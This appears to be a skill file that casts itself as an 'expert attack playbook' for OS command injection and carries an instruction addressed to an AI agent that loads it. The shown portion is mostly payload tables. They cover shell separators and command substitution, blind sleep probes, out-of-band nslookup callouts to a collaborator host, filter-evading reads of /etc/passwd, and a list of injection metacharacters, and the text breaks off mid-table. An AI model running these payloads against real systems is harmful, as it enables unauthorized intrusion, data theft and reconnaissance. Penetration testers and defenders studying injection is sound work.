cmdi-command-injection

1# SKILL: OS Command Injection — Expert Attack Playbook
2 
3> **AI LOAD INSTRUCTION**: Expert command injection techniques. Covers all shell metacharacters, blind injection, time-based detection, OOB exfiltration, polyglot payloads, and real-world code patterns. Base models miss subtle injection through unexpected input vectors.
4 
5## 0. RELATED ROUTING
6 
7Before going deep, you can first load:
8 
9- [upload insecure files](../upload-insecure-files/SKILL.md) when the shell sink is part of a broader upload, import, or conversion workflow
10 
11### First-pass payload families
12 
13| Context | Start With | Backup |
14|---|---|---|
15| generic shell separator | `;id` | `&&id` |
16| quoted argument | `";id;"` | `';id;'` |
17| blind timing | `;sleep 5` | `& timeout /T 5 /NOBREAK` |
18| command substitution | `$(id)` | `` `id` `` |
19| out-of-band DNS | `;nslookup token.collab` | Windows `nslookup` variant |
20 
21```text
22cat$IFS/etc/passwd
23{cat,/etc/passwd}
24%0aid
25```
26 
27---
28 
29## 1. SHELL METACHARACTERS (INJECTION OPERATORS)
30 
31These characters break out of the command context and inject new commands:
32 
33| Metacharacter | Behavior | Example |
34|---|---|---|
35| `;` | Runs second command regardless | `dir; whoami` |
36| `\|` | Pipes stdout to second command | `dir \| whoami` |
37| `\|\|` | Run second only if first FAILS | `dir \|\| whoami` |
38| `&` | Run second in background (or sequenced in Windows) | `dir & whoami` |
39| `&&` | Run second only if first SUCCEEDS | `dir && whoami` |
40…